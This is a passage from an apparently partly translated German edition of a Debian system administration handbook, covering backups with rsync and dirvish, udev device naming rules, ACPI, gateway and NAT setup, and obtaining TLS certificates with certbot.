Many programs exist, such as amanda, bacula, or BackupPC. Those are client/server systems featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. For non-enterprise systems, administrators might want to check out rsnapshot or rdiff-backup. Users can easily create backups of their filesystems with timeshift, fsarchiver, duplicity, or even dd.

Debian contains dozens of other backup software covering all possible use cases, as you can easily confirm with apt-cache search backup.

Anstatt einige von ihnen im Einzelnen zu erklären, werden in diesem Abschnitt die Überlegungen der Administratoren von Falcot Corp. bei der Festlegung ihrer Backup-Strategie vorgestellt.

Bei Falcot Corp. haben Datensicherungen zwei Ziele: versehentlich gelöschte Dateien wiederherzustellen und schnell jeden Rechner (Server oder Arbeitsplatzrechner) wiederherzustellen, dessen Festplatte versagt hat.

9.10.1. Datensicherung mit rsync

Da Bandsicherungen als zu langsam und teuer erachtet wurden, werden die Daten auf den Festplatten eines speziell hierfür bestimmten Servers gesichert, auf dem die Verwendung eines Software-RAIDs (siehe Abschnitt 12.1.1, „Software-RAID“) die Daten vor einem Festplattenausfall schützt. Arbeitsplatzrechner werden nicht individuell gesichert, sondern Benutzer darüber informiert, dass ihr persönliches Konto auf dem Dateiserver ihrer Abteilung gesichert wird. Der Befehl rsync (aus dem gleichnamigen Paket) wird täglich zur Sicherung dieser verschiedenen Server benutzt.

ZURÜCK ZU DEN GRUNDLAGEN Die feste Verknüpfung, ein zweiter Name für die Datei

Eine feste Verknüpfung kann, im Gegensatz zu einer symbolischen Verknüpfung, nicht von der verknüpften Datei unterschieden werden. Das Erstellen einer festen Verknüpfung ist im Wesentlichen dasselbe wie einer bestehenden Datei einen zweiten Namen zu geben. Daher entfernt das Löschen einer festen Verknüpfung nur einen der Namen, die mit der Datei verbunden sind. Solange noch ein weiterer Name der Datei zugeordnet ist, bleiben die darin enthaltenen Daten auf dem Dateisystem bestehen. Dabei nimmt eine feste Verknüpfung, im Gegensatz zu einer Kopie, keinen zusätzlichen Platz auf einer Festplatte ein.

Eine feste Verknüpfung wird durch den Befehl ln ziel verknüpfung erstellt. Die Datei verknüpfung ist dann ein neuer Name für die Datei ziel. Feste Verknüpfungen können nur auf demselben Dateisystem erstellt werden, während symbolische Verknüpfungen dieser Einschränkung nicht unterliegen.

Der verfügbare Festplattenspeicherplatz lässt die Durchführung einer vollständigen täglichen Datensicherung nicht zu. Daher geht dem Befehl rsync eine Duplizierung des Inhalts der vorherigen Datensicherung mittels fester Verknüpfungen voraus, die den Verbrauch von zu viel Festplattenspeicherplatz verhindert. Der rsync-Prozess ersetzt dann nur die Dateien, die seit der vorherigen Datensicherung verändert wurden. Auf diese Weise kann eine große Anzahl von Datensicherungen auf relativ kleinem Raum untergebracht werden. Da alle Datensicherungen unmittelbar verfügbar und zugänglich sind (zum Beispiel in verschiedenen Verzeichnissen eines bestimmten Netzlaufwerks), können Sie schnell Vergleiche zwischen zwei bestimmten Zeitpunkten anstellen.

Dieser Datensicherungsvorgang kann mit dem Programm dirvish leicht umgesetzt werden. Es verwendet einen Sicherungsspeicherplatz („bank“ in seiner Sprache), in den er mit Zeitstempeln versehene Kopien eines Satzes von Sicherungsdateien ablegt (diese Sätze werden in der dirvish-Dokumentation „vaults“ genannt).

Die Hauptkonfiguration befindet sich in der Datei /etc/dirvish/master.conf. Sie legt den Ort des Speicherplatzes für die Dateisicherung fest, die Liste der zu verwaltenden „vaults“ und Standardwerte für den Verfallstermin der Dateisicherungen. Der Rest der Konfiguration befindet sich in den Dateien bank/vault/dirvish/default.conf und enthält die spezifische Konfiguration des jeweiligen Dateisatzes.

Beispiel 9.3. Die Datei /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

The bank setting indicates the directory in which the backups are stored. The exclude setting allows you to indicate files (or file types) to exclude from the backup. The Runall is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (according to /etc/cron.d/dirvish). Finally, the expire-default and expire-rule settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default one if no other expire-rule matches.

IN DER PRAXIS Planmäßiger Verfall

Die Verfallsregeln werden nicht von dirvish-expire benutzt, um seine Aufgabe zu erledigen. Vielmehr werden die Verfallsregeln angewendet, wenn eine neue Sicherungskopie erstellt wird, um das Verfallsdatum zu bestimmen, das dieser Kopie zugeordnet wird. dirvish-expire geht einfach die gespeicherten Kopien durch und löscht diejenigen, deren Verfallsdatum bereits vergangen ist.

Beispiel 9.4. Die Datei /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

Das oben stehende Beispiel legt den Satz der zu sichernden Dateien fest: dies sind Dateien auf dem Rechner rivendell.falcot.com (für eine lokale Dateisicherung legen Sie einfach den Namen des örtlichen Rechners fest, wie er von hostname angezeigt wird), genauer gesagt, diejenigen im Wurzelverzeichnis (tree: /) außer denen, die unter exclude aufgelistet sind. Die Dateisicherung ist auf den Inhalt eines Dateisystems (xdev: 1) beschränkt. Sie schließt Dateien von anderen Einhängepunkten nicht ein. Ein Index der gesicherten Dateien wird erzeugt (index: gzip), und das Abbild wird nach Maßgabe des aktuellen Datums benannt (image-default: %Y%m%d).

There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault --init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.

IN DER PRAXIS Dateisicherung aus der Ferne über SSH

Wenn dirvish Daten auf einen entfernten Rechner sichern muss, verwendet es ssh, um sich mit ihm zu verbinden, und startet rsync als Server. Dies setzt voraus, dass der Root-Benutzer sich automatisch mit ihm verbinden kann. Genau dies ist bei der Verwendung eines SSH-Legitimierungsschlüssels möglich (siehe Abschnitt 9.2.1.1, „Schlüsselbasierte Authentifizierung“).

9.10.2. Rechner ohne Sicherheitskopien wiederherstellen

Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs/USB sticks prepared with simple-cdd (see Abschnitt 12.3.3, „Simple-CDD: die Komplettlösung“). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see Abschnitt 13.3.1, „GNOME“ for more information about this).

Die Falcot Corp. Administratoren sind sich der Grenzen ihrer Dateisicherungsstrategie bewusst. Da sie weder den Dateisicherungsserver noch ein Band in einem feuersicheren Tresor schützen können, haben sie ihn in einem getrennten Raum aufgestellt, so dass ein Unglück, wie ein Feuer im Serverraum, nicht die Dateisicherungen zusammen mit allem anderen zerstören würde. Darüber hinaus führen sie wöchentlich eine inkrementelle Dateisicherung auf CD-ROM durch - nur Dateien, die seit der letzten Dateisicherung verändert wurden, sind hierin einbezogen.

WEITERE SCHRITTE SQL- und LDAP-Dienste sichern

Viele Dienste (wie SQL- oder LDAP-Datenbanken) können nicht einfach durch das Kopieren ihrer Dateien gesichert werden (es sei denn, sie werden während der Erstellung der Datensicherungen ordnungsgemäß angehalten, was häufig problematisch ist, weil sie ständig verfügbar sein sollen). Daher ist es erforderlich, ein „Export“-Verfahren zu benutzen, um so einen Datenbank-„Dump“ zu erstellen, der auf sichere Weise gespeichert werden kann. Diese Dumps sind häufig recht groß, können aber gut komprimiert werden. Um den erforderlichen Speicherplatz zu verringern, wird man wöchentlich nur eine vollständige Textdatei speichern und täglich ein diff, das etwa mit einem Befehl wie diff gestrige_Datei heutige_Datei erstellt wird. Das Programm xdelta erzeugt inkrementelle Differenzen aus binären Dumps.

KULTUR TAR, der Standard für Bandsicherungen

Früher bestand der einfachste Weg, eine Dateisicherung in Unix durchzuführen, darin, ein TAR-Archiv auf einem Band zu speichern. Der tar-Befehl erhielt sogar seinen Namen von „TapeARchive“.

9.11. Wechsel im laufenden Betrieb: hotplug

9.11.1. Einführung

The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be “hotplugged“: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.

Der Kernel verfügt über eine Datenbank, die jeder Geräte-ID den erforderlichen Treiber zuordnet. Diese Datenbank wird während des Hochfahrens dazu benutzt, alle Treiber für die Peripheriegeräte zu laden, die auf den verschiedenen oben genannten Bussen erkannt wurden, aber auch wenn ein zusätzliches Hotplug-Gerät verbunden wird. Sobald das Gerät einsatzbereit ist, wird eine Nachricht an udevd geschickt, so dass es einen entsprechenden Eintrag in /dev/ erstellen kann.

9.11.2. Das Namensproblem

Vor dem Augmenter von Hotplug-Verbindungen war es leicht, einem Gerät einen festen Namen zuzuordnen. Er beruhte einfach auf der Position des Gerätes auf seinem jeweiligen Bus. Dies ist jedoch nicht möglich, wenn solche Geräte auf dem Bus kommen und gehen können. Der typische Fall ist die Benutzung einer Digitalkamera und eines USB-Sticks, die dem Rechner beide als Plattenlaufwerke erscheinen. Das als erstes angeschlossene könnte /dev/sdb sein und das zweite /dev/sdc (während /dev/sda die eigene Festplatte des Rechners darstellt). Der Gerätename ist nicht festgelegt; er hängt von der Reihenfolge ab, in der die Geräte angeschlossen werden.

Zusätzlich verwenden Treiber in zunehmendem Maße dynamische Werte für die Haupt- und Nebennummern der Geräte, wodurch es unmöglich wird, feststehende Einträge für bestimmte Geräte zu verwenden, da diese wesentlichen Kennzeichen sich nach einem Neustart ändern können.

udev wurde entwickelt, um genau dieses Problem zu lösen.

9.11.3. Wie udev funktioniert

Wenn udev vom Kernel über das Erscheinen eines neuen Gerätes informiert wird, sammelt es verschiedene Informationen über das betreffende Gerät, indem es die entsprechenden Einträge in /sys/ zurate zieht, vor allem diejenigen, die es eindeutig identifizieren (MAC-Adresse bei einer Netzwerkkarte, Seriennummer bei einigen USB-Geräten usw.).

Mit all diesen Informationen versehen konsultiert udev dann alle in /etc/udev/rules.d/ und /lib/udev/rules.d/ enthaltenen Regeln. Im Verlauf dieses Vorgangs entscheidet es, wie das Gerät bezeichnet werden soll, welche symbolische Verknüpfung erstellt werden soll (um ihm einen alternativen Namen zu geben), und welche Befehle ausgeführt werden sollen. All diese Dateien werden der Reihe nach konsultiert und alle Regeln nacheinander ausgewertet (außer wenn eine Datei „GOTO“-Anweisungen verwendet). So kann es mehrere Regeln geben, die sich auf einen bestimmten Vorgang beziehen.

Die Syntax von Regeldateien ist recht einfach: jede Zeile enthält Auswahlkriterien und die Festsetzung von Variablen. Erstere werden gebraucht, um Vorgänge auszuwählen, auf die reagiert werden muss, und letztere bestimmen die zu ergreifenden Maßnahmen. Sie sind alle einfach durch Kommata getrennt, und der Operator teilt sie implizit in Auswahlkriterien (durch Vergleichsoperatoren wie == oder !=) und Zuordnungsanweisungen ein (durch Operatoren wie =, += oder :=).

Vergleichsoperatoren werden bei den folgenden Variablen verwendet:

KERNEL: die Bezeichnung, die der Kernel dem Gerät gibt;

ACTION: die dem Vorgang entsprechende Aktion („add“, wenn ein Gerät hinzugefügt wurde, „remove“, wenn es entfernt worden ist);

DEVPATH: der Pfad zum /sys/-Eintrag des Geräts;

SUBSYSTEM: das Kernel-Subsystem, das die Anfrage gestellt hat (es gibt viele, einige Beispiele sind „usb“, „ide“, „net“, “firmware“ usw.);

ATTR{Attribut}: Dateiinhalt der Attribut-Datei im /sys/$devpath/-Verzeichnis des Geräts. Hier finden Sie die MAC-Adresse und andere busspezifische Kennungen;

KERNELS, SUBSYSTEMS und ATTRS{attributes} sind Varianten, die versuchen, den verschiedenen Optionen auf einem der übergeordneten Geräte des vorliegenden Geräts zu entsprechen;

PROGRAM: delegiert den Test an das angegebene Programm (wahr, falls es 0 ausgibt, unwahr, falls nicht). Der Inhalt der Standardausgabe des Programms wird gespeichert, so dass er vom RESULT-Test erneut verwendet werden kann;

RESULT: führt Tests auf der Standardausgabe durch, die während des letzten Aufrufs von PROGRAM gespeichert wurden.

Die richtigen Operanden können Strukturausdrücke benutzen, um mehreren Werten gleichzeitig zu entsprechen. Zum Beispiel entspricht * jeder Zeichenkette (selbst einer leeren); ? entspricht jedem Zeichen und [] entspricht dem Zeichensatz zwischen den eckigen Klammern (oder seinem Gegenteil, falls das erste Zeichen ein Ausrufezeichen ist und zusammenhängende Reihen von Zeichen, wie a-z, angegeben sind).

Was die Zuweisungsoperatoren betrifft, so weist = einen Wert zu (und ersetzt den gegenwärtigen Wert); im Falle einer Liste wird sie geleert und enthält dann nur den zugewiesenen Wert. := macht dasselbe, aber unterbindet spätere Veränderungen derselben Variablen. += fügt einer Liste eine Position hinzu. Die folgenden Variablen können verändert werden:

NAME: der Dateiname des Geräts, der in /dev/ erstellt wird. Nur die erste Zuweisung zählt; die übrigen werden ignoriert;

SYMLINK: die Liste symbolischer Verknüpfungen, die auf dasselbe Gerät zeigen;

OWNER, GROUP und MODE legen den Eigentümer und die Gruppe fest, denen das Gerät gehört, sowie die dazugehörige Berechtigung;

RUN: die Liste der als Reaktion auf dieses Ereignis auszuführenden Programme.

Die Werte, die diesen Variablen zugewiesen werden, können eine Reihe von Ersetzungen benutzen:

$kernel oder %k: entspricht KERNEL;

$number or %n: die Ordnungszahl des Geräts, zum Beispiel wäre dies „3“ für sda3;

$devpath oder %p: entspricht DEVPATH;

$attr{attribute} oder %s{attribute}: entspricht ATTRS{attribute};

$major oder %M: die Hauptgerätenummer im Kernel;

$minor oder %m: die Nebengerätenummer im Kernel;

$result oder %c: die Zeichenkettenausgabe des letzten von PROGRAM aufgerufenen Programms;

und schließlich %% und $$ für das Prozent- beziehungsweise Dollarzeichen.

The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.

9.11.4. Ein konkretes Beispiel

Lassen Sie uns den Fall eines einfachen USB-Sticks betrachten und versuchen, ihm eine feststehende Bezeichnung zu geben. Zunächst müssen Sie die Elemente finden, die ihn eindeutig identifizieren. Hierzu stecken Sie ihn ein und führen den Befehl udevadm info -a -n /dev/sdc aus (wobei Sie /dev/sdc durch den Namen ersetzen, der dem Stick tatsächlich zugewiesen ist).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}=="130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}=="0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

Um eine neue Regel zu erstellen, können Sie Tests für die Variablen des Geräts wie auch für die eines übergeordneten Geräts durchführen. Der oben stehende Fall ermöglicht es uns, zwei Regeln wie die folgenden zu erstellen:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Sobald diese Regeln in einer Datei festgehalten sind, die zum Beispiel /etc/udev/rules.d/010_local.rules heißt, können Sie den USB-Stick einfach entfernen und wieder einstecken. Sie sehen dann, dass /dev/usb_key/disk die dem USB-Stick entsprechende Platte ist und /dev/usb_key/part1 ihre erste Partition.

WEITERE SCHRITTE Fehlersuche in udevs Konfiguration

Wie viele andere Daemons, so speichert auch udevd Protokolle in /var/log/daemon.log. Jedoch sind sie standardmäßig nicht sehr ausführlich und reichen gewöhnlich nicht aus, um zu verstehen, was vor sich geht. Der Befehl udevadm control --log-priority=info erhöht den Grad der Ausführlichkeit und behebt dieses Problem. udevadm control --log-priority=err setzt ihn wieder auf den ursprünglichen Ausführlichkeitsgrad zurück.

9.12. Modernes Energiemanagement: Advanced Configuration and Power Interface (ACPI)

Das Thema Energieverwaltung ist häufig mit Problemen verbunden. So erfordert das ordnungsgemäße Versetzen des Rechners in den Bereitschaftsbetrieb, dass alle Gerätetreiber des Rechners wissen, wie die Geräte in Stand-by versetzt werden, und dass sie sie bei der erneuten Betriebsaufnahme wieder ordnungsgemäß konfigurieren. Leider gibt es noch einige wenige Geräte, die unter Linux nicht korrekt in den Wartebetrieb übergehen, da ihre Hersteller die erforderlichen Spezifikationen nicht bereitgestellt haben.

Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.

VORSICHT Grafikkarte und Bereitschaftsbetrieb

Der Grafikkartentreiber ist häufig die Ursache, wenn der Bereitschaftsbetrieb nicht sauber funktioniert. In diesem Fall empfiehlt es sich, die jüngste Version des X.org-Grafikservers auszuprobieren.

Nach diesem Überblick über wesentliche Dienste, die vielen Unix-Systemen gemein sind, werden wir unsere Aufmerksamkeit auf das Umfeld der verwalteten Rechner richten: das Netzwerk. Damit das Netzwerk ordnungsgemäß funktioniert, sind viele Dienste erforderlich. Sie werden im nächsten Kapitel erörtert.

Kapitel 10. Netzwerk-Infrastruktur

Linux stellt das ganze Unixerbe an Netzwerkfunktionalität zur Verfügung und Debian bietet einen kompletten Satz an Werkzeugen, um ein Netzwerk aufzubauen und zu verwalten. In diesem Kapitel werden diese Werkzeuge besprochen.

10.1. Gateway

Ein Gateway ist ein System, das mehrere Netzwerke verbindet. Dieser Ausdruck bezieht sich häufig auf den "Ausgang" eines lokalen Netzwerks auf dem vorgeschriebenen Pfad zu externen IP-Adressen. Das Gateway ist mit jedem der Netzwerke verbunden, die es verbindet, und routet IP-Pakete zwischen verschiedenen Schnittstellen.

ZURÜCK ZU DEN GRUNDLAGEN IP-Paket

Die meisten Netzwerke nutzen heute das IP-Protokoll (Internet-Protocol). Dieses Protokoll unterteilt die gesendeten Daten in kleine Pakete. Jedes Paket enthält neben den Daten auch noch Hinweise zur korrekten Übertragung.

ZURÜCK ZU DEN GRUNDLAGEN TCP/UDP

Viele Programme verarbeiten die individuellen Pakete nicht selbst, auch wenn sie die Daten per IP übertragen. Sie nutzen oft TCP (Transmission Control Protocol/Transport Kontroll Protokoll). TCP ist eine Schicht über IP, um Datenströme zwischen zwei Punkten zu ermöglichen. Programme sehen nur einen Eingang, in den sie ihre Daten senden können und dass die gleichen Daten garantiert ohne Verlust (und in der gleichen Reihenfolge) am Ende der Verbindung ankommen. Obwohl viele verschiedene Fehler in den unteren Schichten auftreten können, regelt das TCP die erneute Versendung verlorener Pakete; und Pakete, die in falscher Reihenfolge ankommen (z. B. wegen verschiedener Pfade) werden in der richtigen Reihenfolge ausgegeben.

Ein weiteres auf IP aufbauendes Protokoll ist UDP(User Datagram Protocol). Im Gegensatz zu TCP ist es paketorientiert. Es wird ein anderes Ziel verfolgt: Es sendet ein Paket von einer Anwendung zu einer Anderen. Das Protokoll kümmert sich nicht um verlorene Pakete oder die Reihenfolge der Pakete. Der Hauptvorteil ist die sehr niedrige Latenz, ein verlorenes Paket hält den Datenstrom nicht auf bis dieses wieder übertragen wird.

TCP und UDP nutzen Ports, das sind "Erweiterungs Nummern" um Verbindungen mit einer Anwendung der Maschine herzustellen. Dieses Konzept erlaubt es verschiedene Verbindungen mit einem Partner aufzubauen, da man diese Verbindungen anhand der Port-Nummer unterscheiden kann.

Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server. The list of services associated with port numbers can be found in the /etc/services file, also explained in services(5), as well as in:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Wenn ein lokales Netzwerk einen privaten Adressbereich verwendet (im Internet nicht erreichbar), muss das Gateway Addressen-Masquerading anwenden, damit die Rechner im Netzwerk mit der Außenwelt kommunizieren können. Das Masquerading ist eine Art Proxy-Verfahren auf Netzwerk-Ebene: Jede von einem internen Rechner ausgehende Verbindung wird durch eine Verbindung vom Gateway selbst ersetzt (da das Gateway eine externe, erreichbare Adresse hat). Durch die maskierte Verbindung gehende Daten werden an die neue Adresse gesendet; Antwortdaten werden durch die maskierte Verbindung an den internen Rechner geschickt. Das Gateway verwendet eine Reihe fest zugeordneter TCP-Ports, gewöhnlich mit sehr hohen Nummern (über 60000). Jede von einem internen Rechner kommende Verbindung erscheint der Außenwelt dann so, als käme sie von einem dieser reservierten Ports.

CULTURE Privater Addressbereich

RFC 1918 definiert drei IPv4-Adressbereiche, die nicht im Internet geroutet werden, sondern nur in lokalen Netzwerken. Das erste Netz, 10.0.0.0/8 (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Wesentliche Netzwerkkonzepte (Ethernet, IP-Adresse, Subnetz, Broadcast)), ist ein Klasse-A Bereich (mit 2²⁴ IP-Adressen). Das Zweite, 172.16.0.0/12, enthält 16 Klasse-B Bereiche (172.16.0.0/16 bis 172.31.0.0/16), mit jeweils 2¹⁶ IP-Adressen. 192.168.0.0/16 ist schließlich ein Klasse-B Bereich (der 256 Klasse-C Bereiche, 192.168.0.0/24 bis 192.168.255.0/24, mit jeweils 256 IP-Adressen zusammenschließt).

→ http://www.faqs.org/rfcs/rfc1918.html

Das Gateway kann auch zwei Arten von Network Address Translation (oder kurz NAT genannt) durchführen. Die erste Art, Destination NAT (DNAT), ist ein Verfahren zur Änderung der Ziel-IP-Adresse (oder des TCP- beziehungsweise UDP-Ports) für eine (gewöhnlich) ankommende Verbindung. Der Mechanismus zur Verbindungsverfolgung ändert auch die innerhalb derselben Verbindung nachfolgenden Pakete, um Kontinuität in der Kommunikation sicherzustellen. Die zweite Art des NAT ist Source NAT (SNAT), bei dem das Masquerading ein besonderer Fall ist; SNAT ändert die Ausgangs-IP-Adresse (oder den TCP- beziehungsweise UDP-Port) einer (gewöhnlich) abgehenden Verbindung. Wie beim DNAT werden alle Pakete innerhalb der Verbindung durch den Verbindungsverfolgungsmechanismus behandelt. Beachten Sie, dass NAT nur für IPv4 und seinen begrenzten Adressraum gültig ist; bei IPv6 vermindert die große Anzahl von Adressen den Nutzen des NAT erheblich, da es zulässt, dass alle "internen" Adressen direkt ins Internet geleitet werden (dies bedeutet nicht, dass interne Rechner zugänglich sind, da dazwischenliegende Firewalls den Datenverkehr filtern können).

ZURÜCK ZU DEN GRUNDLAGEN Port-Weiterleitung

Eine konkrete Anwendung von DNAT ist port forwarding. Ankommende Verbindungen eines bestimmten Ports einer Maschine werden zu einem Port einer anderen Maschine weitergeleitet. Andere Lösungen erzielen ähnliche Ergebnisse, auf Anwendungsebene insbesondere ssh (siehe Abschnitt 9.2.1.4, „Verschlüsselte Tunnel mit Port-Weiterleitung einrichten“) oder redir.

Genug der Theorie. Um aus einem Debian-System ein Gateway zu machen, genügt es die passende Option im Linux-Kernel zu aktivieren. Dies geschieht im virtuellen /proc/-Verzeichnis:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automatically enabled on boot if /etc/sysctl.conf or a configuration file in /etc/sysctl.d/ sets the net.ipv4.conf.default.forwarding option to 1.

Beispiel 10.1. Die Datei /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

Derselbe Effekt kann für IPv6 durch einfaches Ersetzen von ipv4 durch ipv6 im manuellen Befehl und durch Verwendung der Zeile net.ipv6.conf.all.forwarding in /etc/sysctl.conf erreicht werden.

Die Konfiguration von IPv4-Masquerading ist etwas schwieriger und schließt die Konfiguration der netfilter-Firewall ein.

Auch NAT (für IPv4) erfordert die Konfiguration von netfilter. Da der Hauptzweck dieser Komponente im Filtern von Paketen besteht, sind die Einzelheiten in Kapitel 14: „Sicherheit“ aufgeführt (siehe Abschnitt 14.2, „Firewall oder Paketfilter“).

10.2. X.509-Zertifikate

Zertifikate sind ein wichtiger Baustein vieler Netzwerkdienste, die auf kryptografischen Protokollen aufbauen, wenn sie eine Art zentrale Authentifizierung benötigen.

Unter diesen Protokollen wurde SSL (Secure Socket Layer) von Netscape erfunden, um Verbindungen zu Webservern abzusichern. Es wurde später von der IETF unter der Abkürzung TLS (Transport Layer Security) zum Standard erhoben. Seither wurde TLS kontinuierlich weiterentwickelt und heute wird SSL aufgrund von verschiedenen Designfehlern als überholt angesehen.

Das TLS-Protokoll zielt in erster Linie darauf ab, Datenschutz und Datenintegrität zwischen zwei oder mehr kommunizierenden Computeranwendungen zu gewährleisten. Der häufigste Fall im Internet ist die Kommunikation zwischen einem Client (z.B. einem Webbrowser) und einem Server.

A key pair is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

Sie können eine CA implementieren (wie in Abschnitt 10.2.2, „Public-Key-Infrastrultur: easy-rsa“ beschrieben), aber wenn Sie beabsichtigen, das Zertifikat für eine Website zu verwenden, müssen Sie sich auf eine vertrauenswürdige CA verlassen. Die Preise variieren erheblich, aber es ist möglich, hohe Sicherheit einzurichten, wenn man wenig bis gar kein Geld ausgibt.

10.2.1. Erstellen kostenloser vertrauenswürdiger Zertifikate

Many programs create and use snakeoil certificates by default (see sidebar SICHERHEIT Schlangenöl SSL-Zertifikate). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar KULTUR Die Let's Encrypt Initiative), which can also be used for mail transport agents (Postfix), mail delivery agents (Dovecot, Cyrus, etc.), and other network services.

Die Falcot-Administratoren wollen lediglich ein Zertifikat für ihre Website erstellen, die auf Apache läuft. Es gibt ein praktisches Apache-Plugin für certbot, das die Apache-Konfiguration automatisch bearbeitet, um das erhaltene Zertifikat auszuliefern, sodass sie es nutzen können:

# apt install python3-certbot-apache [...] # certbot --apache aving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server. Do you agree? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: Y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing, once your first certificate is successfully issued, to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N Account registered. No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Requesting a certificate for falcot.com Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2022-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your 